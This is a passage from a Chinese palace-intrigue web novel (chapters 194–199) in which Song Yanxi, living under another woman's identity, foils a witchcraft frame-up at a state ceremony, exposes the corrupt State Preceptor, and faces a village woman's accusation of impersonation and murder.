“还不止这些呢,我跟你说啊,那个柳如风,仗着自己有点小聪明,竟然敢诋毁我们家王爷。他王爷自请出征,多年未拿下西菱,是因为在战场上偷偷给西菱放水,这才让两国的战争拖了这么多年。他还说,王爷如此照顾西菱,多半是有心护着西菱。我们王爷是那种因私废公的人吗?王爷在外领兵,九死一生,那小子不过是多读了几本书,凭什么给我们王爷乱扣帽子?” 这个原因,宋颜夕是万万没想到的。 “那个柳如风,也上过战场?” “那倒没有,他都是自己分析的。” 宋颜夕将那瓷碗往桌上一放:“看来传闻有误啊,这锦心公子也不过如此嘛。” 南宫景那厮可没少在战场上占她便宜啊。 那个柳如风,到底是怎么分析出这些歪理的? “说起这个,少卿又为何对战王如此,仰慕?” 第194章:摊牌 一说起南宫景,裴子耽可就来劲了,逮住机会就和她滔滔不绝地说了南宫景的许多好话。 听得宋颜夕脑门上都要冒烟了。 这个南宫景,一身坏毛病,惯会耍人取乐,真有他说的这么好? “姑娘这是什么表情?难道,你不爱慕我们家王爷吗?” “我又不傻,爱慕他作甚?” 这家伙也就是武功高一些,容貌出众一些,权势高了一些,还有些财力之外,也没什么可取之处了吧? “姑娘,这我可就要跟你说道说道了。” 眼看裴子耽又要给她念叨那些有的没的,宋颜夕赶紧打断他的话:“打住啊,你叫我来是分析案情的吧?说无关紧要的人干什么呢?” “王爷怎么会是无关紧要的人呢?” 他还想再说什么,但在接触到宋颜夕的目光之后,果断从心。 “姑娘说得在理,下官这就派人去东郊的矿洞好好查查。” “林举鹏应该还有隐瞒,如果他只是捡到一个瓷碗,对方不至于要杀他灭口。这样,你派人去吓一下他,或许,会有意外收获。” 裴子耽的行动速度很快,第二天,就拿到了最新调查结果。 “林尚书果然撒谎了,那日在矿洞里,他还听到了两个人的谈话。但对方用的是南夏语言,他并没有听懂。” “南夏?莫非,真的和白无双有关?” 正说着,小五忽然来报,柳如风来了,扬言要替宋颜夕作保。 裴子耽一脸不爽:“这个柳如风,怎么又来了?跟他说,宋二姑娘毁坏物证,还需再拘几日,等到林泉的案子破了才能放人。” “可是柳世子说,他能帮咱们破案。” “破案,那是大理寺的职责。我堂堂大理寺少卿,还能仰仗他替我破案不成?赶紧让他滚蛋。” “但......” 小五有些为难:“柳世子大概是猜到您不会答应他的条件,所以,直接找到了方大人。方大人已经同意,让柳世子一同调查林泉案。” 小五口中说的方大人,是大理寺卿方赫。 也正是裴子耽的顶头上司。 “好你个柳如风,这是看不起谁呢?” 在柳如风面前,裴子耽总是很容易炸毛,才说了几句话就黑着脸冲了出去。 宋颜夕耸肩,低头继续研究那黑色瓷碗。 最终,裴子耽还是在方赫的压迫下答应了柳如风的加入。 有柳如风作保,宋颜夕只能被“无罪释放”。 不仅如此,柳如风还提出,要亲自送宋颜夕回相府。 当看到宋颜夕被柳如风送回来的时候,宋娇娇和宋婉儿的表情都格外精彩。 “二妹与世子很熟吗?他为何回替你作保?” 宋婉儿把宋颜夕拉到角落里,低声质问。 “不是很熟啊,也就是一面之缘。” “一面之缘他会亲自去大理寺把你带回来?宋彩衣,你该不会真的勾引世子了吧?” “大姐姐,乱给人扣帽子,可是要付出代价的。有些话,我劝你想清楚了再说。” “难道不是吗?这上京城谁不知道柳世子最是洁身自好,若非你勾引他,他怎么会......” “大姐不妨睁大眼睛好好看看,勾引世子的究竟是谁。” 宋颜夕朝某个方向指了指。 顺着她手指的方向看去,正好看到宋娇娇在对柳如风献殷勤。 宋婉儿脸色一黑,立刻拉着裙摆跑了过去。 “有劳世子送我二妹回来,我这个做长姐的,自然要替妹妹好好谢谢世子。不如,世子去我院子里坐坐?” 说着,她直接把宋娇娇挤到一边。 柳如风后退两步:“宋姑娘客气了,这都是柳某的分内事。毕竟,我与宋二姑娘曾有婚约。” “婚约都已经取消了,世子大可不必将二妹的事揽在身上。而且,我那妹妹自小在乡下长大,不懂规矩,犯了错,自然是要给些教训的。如今只是损毁物证,若是不加以管教,日后闯出祸事,怕是会连累我们整个相府。” 见柳如风对宋颜夕的态度有异,宋婉儿恨不得立刻将宋颜夕扔出府去。但此刻,她还得维持她贵女的形象。 柳如风却是看向宋颜夕的方向。 看来,她在相府过得并不好。 所以她当初用那样的法子与他解除婚约,都是被逼的吗? “按宋姑娘所说,倒是柳某多管闲事了。” 和方才相比,柳如风的声音冷了几分。 宋婉儿心中一紧:“世子,我不是那个意思。” 姜淑萍立刻将宋婉儿拉到一边:“小孩子不会说话,还请世子不要同她计较。我家相爷想必也快回来了,不如,世子留下用膳?” 柳如风拱手:“既然人已经送回来了,柳某就先告辞。” 柳如风朝宋颜夕的方向深深看了一眼,然后转身离去,走到门口的时候,忽然又停下脚步。 “世子,可是改变主意了?我这就让人去准备膳食。”宋婉儿十分积极。 然而柳如风却是转身看向宋颜夕:“此前退婚,是我们安远侯府思虑不周。今日见宋二姑娘蕙质兰心,柳某心悦之,若相府瞧得上我安远侯府,柳某想再次求娶宋二姑娘。” 啥玩意儿? 宋颜夕震惊之际,柳如风已经扔下一记重磅炸弹:“还请夫人转告宋丞相,请神大典结束后,柳某将亲自上门提亲。” 柳如风突然说要娶她,简直震碎了所有人。 其中,又以宋娇娇和宋婉儿的反应最大。 在柳如风离开之后,宋婉儿直接扬手朝宋颜夕脸上打来:“你这贱人,还说没勾搭世子?” 宋颜夕轻轻松松捏住她的手腕:“大姐姐,我奉劝你管好自己的手。若是不想要了,妹妹不介意替你废了它。” “彩儿你干什么呢?快放开婉儿。” 见宋婉儿被宋颜夕掐得脸色都白了,姜淑萍也顾不得维持形象。直接黑着脸命人去扒拉宋颜夕的手。 然而宋颜夕的力气实在太大,她手底下的那几个嬷嬷都不是她的对手。 “母亲这是心疼大姐姐了?方才,可是姐姐先动手打我的。” 姜淑萍语气不善:“谁让你不知检点,婉儿身为你的长姐,教育你也是应该的。还不快松手,难道你真想捏断婉儿的手不成?” 宋颜夕用力一甩,宋婉儿就被她甩在地上。 宋颜夕直接走到主位上坐下:“母亲终于不装了?相比于以前那副伪善的嘴脸,我倒是更喜欢现在的你。” 姜淑萍和宋颜夕对视。 那一刻,姜淑萍已经知道这个“女儿”彻底脱离了掌控。 她扶起宋婉儿,目光冰冷地说道:“二姑娘在大理寺受刑失智,行为疯癫,即日起幽禁梧桐苑。” 第195章:请神 “母亲要关我?怕是不行哦。您没听到柳世子的话吗?过不了多久,我可就是世子妃了。” “宋彩衣,你个贱人还敢提世子?看我不撕烂你的嘴?” 姜淑萍按下宋婉儿,朝那些丫鬟婆子使了个眼色:“还愣着干什么?二姑娘发疯伤人,赶紧把人押下去,严加看管。” “不用你们动手,我自己会走。” 宋颜夕转了转手腕,走到姜淑萍身边的时候,低声说了一句:“我倒是不怕幽禁,倒是母亲,您可别后悔啊。” “母亲,您怎么就这样放过她了?她勾搭世子,还弄伤了我的手,若是不要了她半条命,女儿可咽不下这口气。” “娇娇你先退下,还有你们,赶紧去将玉灵膏拿过来。” 将其他人都打发走之后,姜淑萍这才拉着宋婉儿坐下。 “急什么?” 姜淑萍拍了拍宋婉儿的手:“既然世子已经康复,这安远侯世子妃的位置,只能是婉儿你的。至于宋彩衣那小贱人的命,自然有人替我们收拾。婉儿啊,你以后可是要当一品侯夫人的,手上不能沾血,懂了吗?” “母亲的意思是?” “你真当母亲这些日子毫无准备吗?我早就看出那贱蹄子不对劲了,且让她再蹦跶几日。请神大典那日,便是她的死期。” 宋颜夕被关在梧桐苑三天,直到请神大典那日,才被放出来。 “姜淑萍不是要关着姑娘吗?怎么会这么好心,让您参加请神大典?” 宋颜夕理了理鬓角的碎发:“很显然,这是挖了陷阱等着我呢。” “那,咱们要不要找个借口不参加了?” “无妨。今日定然十分热闹,我倒是也想去瞧瞧。” 这几日,她其实一直在和裴子耽通信。 根据裴子耽的最新情报,那个幕后黑手的目的很有可能就是搅浑东越朝堂的水,若当真如此,今日的请神大典便是那人动手的大好时机。 她也正好趁机看看,对方到底是不是南夏的人。 她早晚是要回到西菱的,若南夏真有阴谋,她也需早做防备。 “宋彩衣那边有消息了吗?”宋颜夕问。 “已经发现了宋彩衣的踪迹,但我们的人没找到那个盒子。除了我们的人之外,还有另外一拨人也在调查宋彩衣。” “多半是南宫景的人,让我们的人小心行事,千万不要路出马脚。” 请神大典的确比宋颜夕想象中还要热闹。 就连被关禁闭的楚王和前些日子闹得满城风雨的国师都来了。 大概是因为这段时间闹得狠了,双方都很低调。 除了见面互相讽刺几句之外,倒是没有闹出太大的动静。 皇帝坐在高处,说了几句话之后便宣布大典开始。 说是请神,其实就是一场盛大的祭祀仪式。比起九台山的那一场更加声势浩大。 往年,请神都是由国师宣读祭词,但今年,这项工作便落在礼部尚书身上。 因为经历了丧子之痛,礼部尚书显然有些精神不济。但就算是如此,还是读完了冗长的祭词。 接下来,就是皇帝带头焚香祷告。 皇帝焚香后,百官便根据官职品阶的大小先后焚香。 原本一切都进行得井然有序,但轮到丞相府一家的时候。出现了变故。 宋颜夕手中的香,断了。 祭祀时断香,这可是大忌。 一时之间,所有人都朝宋颜夕看了过来。 “这是怎么回事?”礼部尚书皱起眉头,“还不快给宋姑娘再拿三支香”。 然而,第二次上香的时候,香还是断了。 而且这一次,直接断了三根。 第三次,第四次,皆是如此。 “神明不接受此女香火,看来,此女灵魂不净啊。” 宋颜夕看向说话的国师。 这厮定然是因为之前的过节伺机报复,只是她竟然不知,姜淑萍是何时与国师勾结在一起的。 果然,她在姜淑萍的脸上看到了一晃而过的得意之色。 不用想也知道,必然是她手上的香被动了手脚。 今日的祭祀物品都是礼部准备的,他们莫非是买通了礼部的人? “这到底是怎么回事?” 祭祀被打断,皇帝语气中透着不悦。 “启禀圣上,宋丞相家的二姑娘断了香,国师说,宋二姑娘灵魂不净。”大太监在皇帝耳边说道。 皇帝脸色微变:“宋二姑娘?” 那可是皇叔的心头宝,如今皇叔不在京中,小婶婶可不能在他眼皮子底下出了事。 想到这儿,他大手一挥:“不就是断了香嘛,胡扯什么灵魂不净?依朕看,定是礼部办事不力,没有事先检查香火。杨爱卿,还不让人给宋二姑娘换香。” 礼部尚书身子一抖,赶紧让人重新去拿香。 然而这一次,宋颜夕还没来得及碰到香,就听见人群中传来一声惊呼。 “出人命了,林尚书,死了。” 宋颜夕微微一怔,那香就掉在地上。 按照规制,林举鹏今日也是要参加请神的,就在不久前,宋颜夕还在人群中见到他了。 但就这么会儿的功夫,人就死了。 而且,是当着这么多人的面,忽然死去的。 “好端端怎么就死了呢?方大人,您方才就站在林尚书身边吧?” 方赫脸色有些难看,他的确就站在林举鹏不远处,而且,在典礼开始之前,他们还说过话。 当时,林举鹏向他询问林泉案的结果,看起来脸色不怎么好。 方赫当时还叮嘱他切莫哀思过度,谁曾想就这么一会儿,人就没了。 根据仵作验尸结果,林举鹏身上并无外伤,也无中毒痕迹。最终判定,是因为多日不曾进食,气血亏损严重,心脏骤停导致的死亡。 “林大人的死绝对没有这么简单。” 这个时候,国师又跳出来了。 他装模作样地念了几句咒语,然后义正严词地说道:“本座见林尚书身上有黑气弥漫,用天眼一瞧,竟发现林尚书的灵魂布满了针眼。” 听他这么说,一旁的裴子耽冷笑一声:“国师这话倒是可笑,难不成,你还想说林尚书是被针扎死的不成?他身上可没有一个针眼。” 在旁人看不见的地方,他暗暗朝宋颜夕使眼色。 宋颜夕会意,给了他一个放心的眼神。 “身体上虽然没有针眼,但,并不代表他并非因此而死。若本座没有看错的话,林尚书并非猝死,而是,死于巫蛊之术。” “国师,话可不能乱说啊。谁不知道在我东越,行巫蛊之术可是死罪。” 国师却是字字铿锵:“裴少卿若是不信,大可派人去查。若要行这巫蛊之术,需知晓被下咒之人的生辰八字。只需查一查,近日有谁调查过林尚书,便不难揪出这幕后黑手。” “我记得,彩儿就向我打听过林尚书和林公子的八字。” 第196章:栽赃陷害 姜淑萍说完这句话之后,立刻捂住嘴。 但她那句话说得并不轻,许多人都听到了。 “什么?宋二姑娘?” “这娇滴滴的小姑娘,不至于用这种阴毒的手段害人吧?” “知人知面不知心,别忘了。此女先前可是被国师断言为祸国妖孽的。” “如今看来,神明不接受宋二姑娘的进香,定是因为她身上背了人命债。” 众人议论纷纷,就连皇帝都有些为难地扶额:这个小婶婶,怎么又惹到这糟老头子了? 他清了清嗓子,沉声说道:“什么巫蛊害人,国师,若是再说这些子虚乌有的言论蛊惑人心,便早日解甲归田吧。” “陛下,此事事关重大,还望陛下彻查啊。若巫蛊之术不除,恐会危及我东越江山。” “是啊陛下,是与不是,去丞相府搜查一番便能知晓。” 宋章脸色难看,直接在皇帝面前跪下:“陛下明鉴,小女心思单纯,怎会知晓那等邪术?” 说完,他还瞪了姜淑萍一眼。 姜淑萍顺势跪下:“是啊陛下,彩儿之所以询问林尚书的八字,只是因为前些日子我们两家正在议亲,绝对不是因为要害林尚书啊。” “你们是跟林公子议亲,要问,也是问林公子的八字。难不成,贵府二姑娘要嫁的不是林公子,而是林尚书不成?”人群中,不知是谁说了一句。 宋章握紧拳头,直接朝姜淑萍吼道:“你给我少说几句。” 事情闹得越发大了。 就连皇帝也是骑虎难下。 宋颜夕他是一定要保的,但眼下这个情况,若是不查,又不足以安抚人心。 正在为难之际,却听宋颜夕的声音响起:“我没做过那些事,问心无愧!请陛下派人去我院中搜查,还臣女一个清白。” “既然如此,便查吧。” 皇帝摆了摆手,直接让自己的心腹去办此事。 之所以不让其他人插手,便是担心那些人在搜查过程中故意栽赃陷害。 然而即便是他派去的人,最终还是搜到了一些不该出现的东西。 那是一个用布包裹的人偶,上面的确插了银针。 “证据确凿,看你还怎么狡辩?” “没想到真的是她啊,果然,最毒妇人心。” “此等邪术绝对不能姑息,还请陛下,重罚此女。” 眼看下面跪了乌泱泱一片人,皇帝的脸色也逐渐沉了下来。如今这个情况,他若是想要保住宋颜夕,怕是不容易。 正当他准备找个由头拖一拖的时候,宋颜夕却站出来了。 “不是说施咒之人必须在人偶上写下中咒之人的生辰八字吗?陛下,不如请人仔细检查这人偶上是否有林尚书的八字。” 听到宋颜夕的话,皇帝眸光一闪。 莫非,此事还有玄机? 他当即下令让方赫检查那人偶。 方赫用刀片划开那人偶,从中取出一张字条:“这人偶中的确藏着八字。” “大家都看到了吧?林尚书就是被此女害死的。按照东越律法,以巫蛊之术杀人,其罪当诛。” 此时,国师再次开口:“众所周知,她宋彩衣自小长在乡下,哪儿懂得这等阴邪术法?依本座看,此事的背后,还有人指使。” “国师此话何意?莫非,是在怀疑本相不成?”宋章面色铁青地说道。 “本座可没有这个意思,不过本座认为,此事必须彻查。” 眼看那俩人就要吵起来,方赫赶紧打断他们:“想必国师是误会了,这人偶里的确是有生辰八字。但却并非林尚书的。” 国师脸色一变:“你说什么?” 他一把夺过方赫手中的纸条,看到上面的字时,脸上的表情差点没绷住。 宋章也一个箭步冲了过去:“本相瞧瞧。” “这,不是彩儿的八字吗?” 此话一出,全场哗然。 在宋颜夕的院子里找到的巫蛊人偶,上面竟然写的是宋颜夕自己的生辰八字。 难道,还是她自己诅咒自己不成? 皇帝挑眉,不愧是皇叔看上的女人,这反转,绝对精彩。 但他还是板着脸问道:“宋二姑娘,不如你来说说,这到底是怎么回事?” “事已至此,臣女也不敢再隐瞒了。其实,这人偶是臣女自己埋在院子里的。” “彩儿你到底,为何如此?” 宋章听到这话,不仅没有缓和情绪,脸色反而更阴沉了。因为,那真的是宋彩衣的生辰八字。 他如此反应,无非就是心疼他真正的宝贝女儿罢了。 宋颜夕听出他的画外音,却不动声色地答道:“自从义母去世后,彩衣便时常做着同一个梦。梦里,义母一直忧心忡忡地看向西方。臣女愚笨,不知义母心中担忧为何。故而用了这乡下听来的土法子,希望以自己的阳寿为交换,与义母通灵,为她解忧。” 说到这儿,宋颜夕用帕子擦了擦眼角:“臣女自小长在乡下,只知为义母尽孝,却不曾知晓这法子竟然是邪术。臣女有罪,陛下若要打要罚,臣女都受着。” “原来如此,宋二姑娘可真是孝心可鉴啊。” “虽然法子是极端了些,但毕竟是为了大长公主,也是可以理解的。” “这么看来,咱们这位国师的占卜之术似乎不太行啊,这种事情都能算错。” “这也不是第一次了。还记得上回吗?国师曾扬言宋二姑娘是祸国妖孽,还要将人活活烧死呢。但最后,还是蓬莱岛的仙人将宋二姑娘救走的。” “如此看来,宋二姑娘的确是有些仙缘。那她那个梦境,莫非,当真有什么寓意?” 皇帝听了宋颜夕的话之后,直接走到她身边:“宋二姑娘对皇姑母一片孝心,朕若因此惩治于你,岂不是成了那不孝之人?” 他朝大太监使了个眼色,大太监立刻扶起宋颜夕:“地上寒凉,宋二姑娘身子羸弱,还是赶紧起身吧。” 宋颜夕起身后,朝皇帝福了福身:“多谢陛下!” 皇帝又问:“那梦中之惑,可解了?” 宋颜夕答:“臣女终于在梦中与义母说上话,义母扬言,西方将起战乱。而这战乱的根源,与金有关。” 皇帝脸色一变:“战乱将起?” 宋颜夕低头答道:“在梦里,义母是如此说的。她还说,咱们东越出了......” “出了什么?” “出了,卖国贼。” 皇帝目露凶光:“姑母可曾告知,卖国贼的身份?” 宋颜夕佯装害怕:“臣女,不敢说。” “有朕在此,有什么不敢说的?你尽管将那人的名字说出来,朕恕你无罪。” 宋颜夕将手往人群中一指:“那人便是......” 第197章:反转 “那人便是,国师!” 国师吓得后退两步,捕捉到皇帝那像是要杀人的目光时,赶紧下跪磕头:“陛下明鉴啊,老臣对陛下,对东越忠心耿耿,怎么会是这女子口中的卖国贼呢?” “国师的意思是宋二姑娘在撒谎?那可是皇姑母亲口所言,怎会有假?” “陛下,此女惯会妖言惑众,您可不能只听她片面之词啊。此女说大长公主给她托梦,臣倒是想问一问宋二姑娘,此事,何人能够证明?” “国师所言有理。” 皇帝看向宋颜夕:“我东越已经与西菱签订了停战合约,你说西方将起战乱,有何根据?” “臣女拿不出证据。” 宋颜夕摇头:“这只是臣女的梦境,况且通灵一说本就玄乎,如何能有他人作证?” “陛下,空穴不来风。臣以为,当前最要紧的是派人去边境查看西菱是否有屯兵之象。” 这个时候,宋章开口了,“至于国师是否通敌,不妨也派人去国师府搜查一番,若国师当真与西菱往来,必然会留下蛛丝马迹。” “宋相,你任由你那儿女儿污蔑本座,如今又撺掇陛下搜查本座的府邸,莫非是要挑拨君臣关系吗?该不会,你才是那个卖国贼吧?” 宋章挺直腰板:“国师方才不也派人去搜了本相的府邸吗?宋某行得正坐得端,不惧搜查。但国师此番行为,倒是更显得做贼心虚了。” 宋章是个文臣,若论武斗他不行,但在耍嘴皮子上,还没输过呢。 如今他火力全开,几个回合下来,国师就被他堵得哑口无言。 最终,皇帝还是派人搜了国师府。 不仅如此,大理寺少卿裴子耽还提出,除了天心阁之外,国师还有好几处房产。 皇帝直接下令彻查,一处都没有落下。 没过多久,那些去搜查的人就扛着几个箱子回来了。 打开一看,里面全部都是价值不菲的珠宝。 不仅如此,还有许多腌臜交易的账本。其中一项,便是开青楼,买卖女子。 “没想到,国师一个方外之人竟然私底下藏了这么多财宝!” “竟然还做出贩卖REN口这种勾当,真不是个东西啊。” “看来,宋二姑娘的话并不全然都是假的。” “难道国师真的通敌叛国?” 众人议论纷纷,国师更是直接被人捆绑起来。 “你还有什么话说?皇室赐你国师尊荣,为的是替东越谋福祉,你倒好,借着手中的权势敛财,今日若是不处置你这蛀虫,东越的根基必然要毁在你的手中。” 皇帝勃然大怒,将那些账簿狠狠扔在国师脑袋上,“方赫。” 方赫拱手向前:“臣在。” “给我查,看看这老东西到底在背后还干了什么。” 虽然没有找到通敌的罪证,但国师还是被当场下了监狱,至于林举鹏之死,也交给大理寺一并调查。 宋颜夕因为检举有功,被皇帝破格封为永安县主。 回到丞相府之后,姜淑萍也因为请神大典上的那句话被宋章罚跪祠堂三日反省,而且,还被剥夺掌家之权。 主母罚跪祠堂,那可真真是丢了脸面。 宋婉儿去看她的时候,姜淑萍一改往日的贵妇形象,整个人都阴沉得可怕。 “母亲,您不是说此举万无一失吗?怎么还让宋彩衣那小贱人翻了盘?” 姜淑萍笔挺地跪在那里,手中的珠串几乎要被她捏碎:“那贱蹄子倒是比我想象中还要难对付,竟然连国师都被她拉下马了。” “您说,国师会不会把咱们供出来?若是陛下知道咱们与国师有交易,会不会......” “他不会供出我们的。” 姜淑萍道:“如今,他还指着我们毁了那贱蹄子,替他报仇呢。” 想到今日之事,姜淑萍便觉得蹊跷得很。 她可是请眼看着阿贵将那巫蛊人偶埋入梧桐苑的,怎么被挖出来之后,就换成那贱蹄子的生辰八字了呢? 还有国师府上的那些所谓罪证。 以国师的手段,不可能不将那些东西藏好的。万万不可能这么轻易就被人搜了出来。 除非,那贱蹄子早就开始布局。 但光凭她一个乡下丫头,怎么可能会有这样的能力? 或许,那蹄子早在他们不知道的时候就已经站了队。今日之事,怕是她背后那人的手笔。 “母亲,您在想什么呢?”宋婉儿见她失神,扯了扯她的衣袖,“如今请神大典已经结束,那贱人又被封了永安县主,安远侯府该不会真的来提亲吧?母亲,您说女儿该怎么办呐?” “放心吧婉儿,母亲自有法子应对。” 姜淑萍看向那满屋的牌位:“陛下敕封的诏书上可是写着宋家次女宋彩衣。若那贱蹄子并非相爷的女儿,岂不是犯了欺君之罪?” “母亲,您的意思是?” 姜淑萍冷笑一声:“就算她背后有人又如何,一旦她失去相府千金的身份,她便只会沦为弃子。” “阿嚏!” 梧桐苑,宋颜夕正在沐浴,忽然觉得鼻子一痒。 她揉了揉鼻子:“又是哪个不长眼的在背后算计我?” “定然是今日那些跳梁小丑。” 春分撒了几片花瓣在桶里,眉眼中闪过得意之色:“就那些技俩也想陷害姑娘您,殊不知,姑娘早就在阿贵埋下东西之后的第二天便偷偷换了那人偶娃娃。” 提到阿贵的时候,春分眼中闪过杀意:“可要奴婢解决了那细作?” “不着急,留着他还有用。” “姑娘的意思是?” 宋颜夕朝春分勾了勾手,在她耳边说了几个字。 “好,奴婢这便去办。” 请神之后,宋府那些人倒是安分了不少,就连宋娇娇都没来找宋颜夕的麻烦。 大理寺在调查国师和林尚书的案子,裴子耽也是忙得不可开交。 当他得知安远侯府的去丞相府下聘,要替柳如风求娶宋颜夕的时候,安远侯府的仪仗队已经搬着那些绑着红丝绸的箱子进了相府大门。 “这下可不得了了。” 听到这个消息时,裴子耽几乎是冲出了大理寺,刚跑到门口,正好撞见他的顶头上司方赫。 “你这风风火火干什么去呢?” 方赫皱了皱眉,裴子耽做事向来沉稳,何时这般冲动了? “方大人,卷宗我都放你桌上了啊。我现在有急事,必须去一趟丞相府。” 方赫拉住他:“你去丞相府做什么?莫非,这案子还和宋相有关?” “这倒不是。” 裴子耽来不及与他解释,扔下一句“但我若再不去,可就要出人命了。”之后,就冲出了方赫的视线。 “这可不得了?难道,宋丞相就是凶手的下一个目标?” 方赫没有一丝犹豫,立刻召集人手火速赶往丞相府。 然而当他赶到现场的时候,却被眼前的一幕震惊了。 第198章:李娘子的证词 “你这村妇胡说什么?宋二姑娘怎么会不是丞相的女儿呢?”说话的是裴子耽。 他就站在堂上,护犊子似地将宋颜夕挡在身后。 而在他身边,还站着另一个男人,正是安远侯世子柳如风。 他们面前跪着一个村妇,那村妇匍匐在地,说出的话却是十分有力:“民妇说的都是真的,此女名唤宋颜夕,自小在我们小樟村长大,并非丞相家的二姑娘啊。” 方赫脚下一个踉跄,差点摔倒在地。永安县主不是宋丞相的女儿?这也太炸裂了。 若这村妇所言为真,那这位宋二姑娘可就犯了欺君之罪啊。 他直接滑到裴子耽身边,压低声音说了一句:“这就是你说的出人命?” 裴子耽轻咳一声:“差,差不多吧。” 虽然他是为了阻止柳如风求亲而来,但,眼下这件事似乎更麻烦。 原本这只是宋家的家务事,但如今安远侯和大理寺都有人在场,便是想私下处理,怕是也不可能了。 他的目光落在跪在地上的那村妇身上,对方选择在安远侯府提亲之日揭发此事,多半便是想将这件事闹大。 想到这儿,他转身朝宋颜夕眨了眨眼:【宋二姑娘,这事该不会是真的吧?】 宋颜夕却是十分冷静,仿佛眼前这局根本就不是针对她似的。 不仅如此,她还拢了拢衣袖,直接将裴子耽和柳如风扒开,走到那村妇面前:“我如今可是陛下亲封的永安县主,你可知,诬陷县主是什么罪?” 那村妇身子一怔,但很快就抬起头来:“我说的都是实话,宋颜夕,你敢说,你不认识我吗?” 宋颜夕怎么会不认识她呢? 这人不是旁人,正是小樟村的李娘子。 宋颜夕语气淡淡:“我从未去过你口中的小樟村,又如何会认识你?我不知你受了何人指使要冤枉于我,但我奉劝你一句,谎言终究会被拆穿,与其拿了黑心钱做黑心事,不如脚踏实地,好好生活。” 一旁的宋娇娇冷哼一声:“你竟然还不肯承认。李娘子可是把一切都跟我们说了,你不仅冒领我二姐姐的身份,还杀了人。” 刘云香赶紧捂住她的嘴,不让她继续说下去。 “什么?” 方赫瞪大眼睛:“宋姑娘,这杀人一说,可是要有证据的。” “我有证据的。” 李娘子从怀中掏出一个布包,那布包里,躺着一枚月牙吊坠。 “我家大郎失踪那日,宋颜夕是最后见到他的人。我也曾怀疑过她,但是当时,所有人都说是山贼杀害了我的夫君,民妇便也信了。一直到不久之前天降大雨,将我夫君的尸体冲了出来,当时,这坠子就拽在我夫君的掌心。我夫君定是被宋颜夕害死的,求大人为民妇做主,严惩凶手,以慰我夫君在天之灵。” 宋颜夕轻笑:“你说我是宋颜夕,还说,我从小在小樟村长大?那我家境如何?” 李娘子道:“家境,贫寒。” 宋颜夕朝柳如风福身:“素闻柳世子博学,想来这鉴赏玉石之事,也不在话下吧?” 柳如风点头,就着帕子打量着玉坠,最后得出结论:“此乃上品羊脂玉,非贵族不能用。如此珍贵之物,你确定是属于你口中那个家境贫寒的宋颜夕所有?” 柳如风的声音虽然还是那般如沐春风,但听在李娘子耳中,却莫名多了一些冷意。 她哆嗦了一下,却还是重重点头:“民妇不懂什么是羊脂玉,但这与坠子的确是宋颜夕从小戴到大的,这一点,小樟村的人都能作证。” 宋颜夕并不怀疑李娘子这话的真实性。 当初她重生醒来,的确没有仔细检查李大郎的尸体。 或许,是原主和李大郎搏斗的过程中,被李大郎扯下玉坠子的。 但眼下这些都不是问题。 除非那姜淑萍能把小樟村的人都叫来作证,否则,光凭这坠子并不能证明什么。 “用一句无知就能将杀人的罪盖在我身上了?你这民妇,未免也太异想天开了。” 宋颜夕慢悠悠走到自己的位置上坐下,甚至,还品了一口茶:“你如何证明,这玉坠是从你夫君的尸体上掉下来的,又如何证明,这与坠子是属于我的?若你无法证明,今日来此闹事,便是以下犯上。按照东越律法,便是不死也得脱一层皮。” “我......” 李娘子面色焦急,最后,像是下定了某种决心大喊一声:“我自然有办法证明。我曾经无意间见到这玉坠子发光。当时,宋颜夕欠了我们家钱,我与夫君想要让她用玉坠抵债,但她死活不肯。就在争夺之间,这坠子竟然发出一道红光,将我与夫君都给打伤了。这个,便是当时留下的伤痕。” 李娘子挽起袖子,露出手臂上的疤痕。 裴子耽冷笑:“真是越说越离谱了,一块玉坠子,还发出红光伤人?你这村妇,莫不是话本子看多了吧?” “民妇说的都是真的。诸位大人若是不信,大可验证一番。这坠子只认宋颜夕一人,旁人若是触碰,必然会被灼伤。若非用这布包着,民妇又如何将它带到京城呢。” “你们几个,去试试。” 宋章指着几个小厮说道。 那几个小厮从柳如风手中接过玉坠,但就在接触到玉坠子的时候,所有人脸上都露出痛苦的表情。 “啊,我的手!” 他们惊叫一声后退,眼尖的人已经看见了他们掌心的灼伤痕迹。 “简直胡说八道。本官还不信了。” 裴子耽正要去抓玉坠子,柳如风却伸手拦住他:“少卿且慢。” “怎么,你也觉得这小小玉坠子能将人灼伤?依我看,那些人根本就是有心之人派来混淆视听的。” 宋娇娇高声说道:“裴少卿此言,莫非是怀疑我相府栽赃陷害?都说家丑不可外扬,今日这么多人在这看着,难道我们还能将这脏水往自己身上泼不成?” “宋四姑娘也知道家丑不可外扬?那还上赶着跳出来作甚?” “裴子耽,你如此护着这个女人,莫非,真与她有一腿?” 宋娇娇一气之下,直接喊了裴子耽的全名,正在此时,耳边响起一道低沉的男声:“娇娇,这便是你的教养吗?还不快向裴少卿道歉。” 宋钰的出现,在所有人的意料之外。 宋娇娇看到宋钰的时候,下意识后退了半步。 对于这位大哥,她和宋诚都是极为畏惧的。 因此,她只能不情不愿地向裴子耽道歉。 “见过父亲母亲。” 和宋章夫妇姓李之后,宋钰又朝柳如风三人拱手:“不知,可否让在下瞧瞧这玉坠?” 柳如风大概已经猜到什么,但宋钰都这么说,他也不方便再阻止。 果然,宋钰摸到那玉坠的时候,和其他人一样,都被灼伤了。 此时此刻,所有人的目光都落在宋颜夕身上。 要验证李娘子的话,只能让她触碰这玉坠子。 “二妹,可敢一试?”宋钰将那玉坠子递到宋颜夕面前。 第199章:他来了,他来了 宋颜夕盯着那玉坠子,脑子里忽然闪过一些陌生的片段。 那是原主的记忆。 这玉坠当真是原主的。而且,的确如李娘子所言,原主常年佩戴此玉。 “怎么还不接?你该不会怕了吧?”宋娇娇还在挑衅。 宋颜夕却是嘴角一勾,直接抓过宋钰手中的玉坠。触碰到玉坠的那一瞬间,她眼中闪过诧异之色。 这灼热之感,莫非是? “大家都看到了吧?宋二姑娘的手也被灼伤了。依本官看,此事都是这民妇杜撰。” 裴子耽的声音刚落下,柳如风就已经隔着布将那玉接了过去。 “这,这不可能!她以前分明一直戴着这玉坠子的。怎么可能会被灼伤。” 宋颜夕看着掌心的红肿处:“怎么不可能?因为我根本就不是你口中说的那个人。” 说完,她朝宋章福身,委屈巴巴地说道:“父亲若怀疑女儿的身份,女儿离开相府便是。左右母亲与大姐姐都不喜欢彩衣,我便是留下来,也只会碍了你们的眼。” “彩儿胡说什么呢?你是为父的女儿,哪儿有离开相府的道理。来人呐,将这村妇拖下去,乱棍打死。” “相爷,民妇还有证据。宋颜夕几年前上山采药曾经受过伤,她的腰腹处有一个疤痕。还有啊,她在乡下已经嫁人了,定然不是完璧之身......” 